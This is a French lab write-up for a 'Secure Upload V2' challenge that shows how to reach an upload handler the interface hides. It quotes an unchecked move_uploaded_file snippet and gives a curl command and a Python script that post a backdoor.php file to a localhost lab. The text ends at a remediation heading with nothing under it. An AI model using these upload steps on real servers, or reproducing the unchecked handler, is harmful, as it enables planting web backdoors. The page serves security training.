← RETOUR LAB
MODULE: HIDDEN_ACCESS

SECURE_UPLOAD_V2

SÉCURITÉ PAR OBSCURITÉ

Dans ce challenge "Secure Upload V2", l'interface utilisateur (style Cyberpunk) est volontairement restrictive. Elle ne propose aucun bouton d'upload classique, seulement un système de "Drag & Drop" qui simule des actions prédéfinies.

Cependant, une analyse du code source révèle que le développeur a laissé le code de traitement des uploads standards actif !

// Extrait de index.php (Lignes cachées derrière l'interface) if (isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir . basename(...)); }

C'est un exemple classique de fonctionnalité "orpheline" ou de code de débogage oublié. Si le code existe sur le serveur, un attaquant peut l'utiliser, même s'il n'y a pas de bouton HTML pour le faire.

BYPASS DE L'INTERFACE (API STYLE)

Puisque le navigateur ne nous donne pas de formulaire, nous devons "forger" la requête HTTP nous-mêmes. Nous savons que le paramètre attendu est file.

MÉTHODE 1 : cURL (Terminal)

# Envoie le fichier backdoor.php au script curl -F "file=@/chemin/vers/votre/backdoor.php" http://localhost/lab/upload/index.php

MÉTHODE 2 : Script Python

import requests url = 'http://localhost/lab/upload/index.php' files = {'file': open('backdoor.php', 'rb')} r = requests.post(url, files=files) print(r.text)

Une fois la requête envoyée, rafraîchissez la page : votre fichier apparaîtra dans la liste "REPOSITORY" !

REMEDIATION

Pour sécuriser cette application :